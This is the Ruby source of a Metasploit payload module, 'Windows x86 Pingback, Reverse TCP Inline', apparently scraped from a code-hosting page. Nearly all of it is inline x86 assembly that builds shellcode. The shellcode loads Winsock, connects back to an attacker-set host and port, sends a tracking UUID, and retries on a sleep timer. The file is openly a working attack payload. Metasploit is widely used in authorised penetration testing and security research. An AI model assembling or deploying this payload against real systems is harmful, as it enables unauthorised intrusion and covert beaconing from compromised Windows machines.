160 lines
6.1 KiB
Ruby
160 lines
6.1 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
|
|
module MetasploitModule
|
|
|
|
CachedSize = 307
|
|
|
|
include Msf::Payload::Windows
|
|
include Msf::Payload::Single
|
|
include Msf::Payload::Pingback
|
|
include Msf::Payload::Windows::BlockApi
|
|
include Msf::Payload::Pingback::Options
|
|
include Msf::Payload::Windows::Exitfunk
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
merge_info(
|
|
info,
|
|
'Name' => 'Windows x86 Pingback, Reverse TCP Inline',
|
|
'Description' => 'Connect back to attacker and report UUID (Windows x86)',
|
|
'Author' => [ 'bwatters-r7' ],
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => 'win',
|
|
'Arch' => ARCH_X86,
|
|
'Handler' => Msf::Handler::ReverseTcp,
|
|
'Session' => Msf::Sessions::Pingback
|
|
)
|
|
)
|
|
|
|
def required_space
|
|
# Start with our cached default generated size
|
|
space = cached_size
|
|
|
|
# EXITFUNK 'seh' is the worst case, that adds 15 bytes
|
|
space += 15
|
|
|
|
space
|
|
end
|
|
|
|
def generate(_opts = {})
|
|
encoded_port = [datastore['LPORT'].to_i, 2].pack('vn').unpack1('N')
|
|
encoded_host = Rex::Socket.addr_aton(datastore['LHOST'] || '127.127.127.127').unpack1('V')
|
|
retry_count = [datastore['ReverseConnectRetries'].to_i, 1].max
|
|
pingback_count = datastore['PingbackRetries']
|
|
pingback_sleep = datastore['PingbackSleep']
|
|
self.pingback_uuid ||= generate_pingback_uuid
|
|
uuid_as_db = '0x' + self.pingback_uuid.chars.each_slice(2).map(&:join).join(',0x')
|
|
conf = { exitfunk: datastore['EXITFUNC'] }
|
|
|
|
asm = %^
|
|
cld ; Clear the direction flag.
|
|
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
|
#{asm_block_api}
|
|
start:
|
|
pop ebp
|
|
; Input: EBP must be the address of 'api_call'.
|
|
; Output: EDI will be the socket for the connection to the server
|
|
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
|
|
reverse_tcp:
|
|
push '32' ; Push the bytes 'ws2_32',0,0 onto the stack.
|
|
push 'ws2_' ; ...
|
|
push esp ; Push a pointer to the "ws2_32" string on the stack.
|
|
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
|
|
mov eax, ebp
|
|
call eax ; LoadLibraryA( "ws2_32" )
|
|
|
|
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
|
|
sub esp, eax ; alloc some space for the WSAData structure
|
|
push esp ; push a pointer to this struct
|
|
push eax ; push the wVersionRequested parameter
|
|
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
|
|
call ebp ; WSAStartup( 0x0190, &WSAData );
|
|
|
|
set_address:
|
|
push #{pingback_count} ; retry counter
|
|
push #{retry_count} ; retry counter
|
|
push #{encoded_host} ; host in little-endian format
|
|
push #{encoded_port} ; family AF_INET and port number
|
|
mov esi, esp ; save pointer to sockaddr struct
|
|
|
|
create_socket:
|
|
push eax ; if we succeed, eax will be zero, push zero for the flags param.
|
|
push eax ; push null for reserved parameter
|
|
push eax ; we do not specify a WSAPROTOCOL_INFO structure
|
|
push eax ; we do not specify a protocol
|
|
inc eax ;
|
|
push eax ; push SOCK_STREAM
|
|
inc eax ;
|
|
push eax ; push AF_INET
|
|
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
|
|
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
|
|
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
|
|
|
|
try_connect:
|
|
push 16 ; length of the sockaddr struct
|
|
push esi ; pointer to the sockaddr struct
|
|
push edi ; the socket
|
|
push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
|
|
call ebp ; connect( s, &sockaddr, 16 );
|
|
|
|
test eax,eax ; non-zero means a failure
|
|
jz connected
|
|
|
|
handle_connect_failure:
|
|
; decrement our attempt count and try again
|
|
dec dword [esi+8]
|
|
jnz try_connect
|
|
failure:
|
|
call exitfunk
|
|
; this label is required so that reconnect attempts include
|
|
; the UUID stuff if required.
|
|
connected:
|
|
send_pingback:
|
|
push 0 ; flags
|
|
push #{uuid_as_db.split(',').length} ; length of the PINGBACK UUID
|
|
call get_pingback_address ; put pingback_uuid buffer on the stack
|
|
db #{uuid_as_db} ; PINGBACK_UUID
|
|
get_pingback_address:
|
|
push edi ; saved socket
|
|
push #{Rex::Text.block_api_hash('ws2_32.dll', 'send')}
|
|
call ebp ; call send
|
|
|
|
cleanup_socket:
|
|
; clear up the socket
|
|
push edi ; socket handle
|
|
push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
|
|
call ebp ; closesocket(socket)
|
|
^
|
|
if pingback_count > 0
|
|
asm << %^
|
|
mov eax, [esi+12]
|
|
test eax, eax ; pingback counter
|
|
jz exitfunk
|
|
dec [esi+12]
|
|
sleep:
|
|
push #{(pingback_sleep * 1000)}
|
|
push #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
|
|
call ebp ;sleep(pingback_sleep * 1000)
|
|
jmp create_socket
|
|
^
|
|
end
|
|
asm << %(
|
|
; restore the stack back to the connection retry count
|
|
dec [esi+8] ; decrement the retry counter
|
|
jmp exitfunk
|
|
; try again
|
|
jnz create_socket
|
|
jmp failure
|
|
)
|
|
if conf[:exitfunk]
|
|
asm << asm_exitfunk(conf)
|
|
end
|
|
Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
|
|
end
|
|
end
|
|
end
|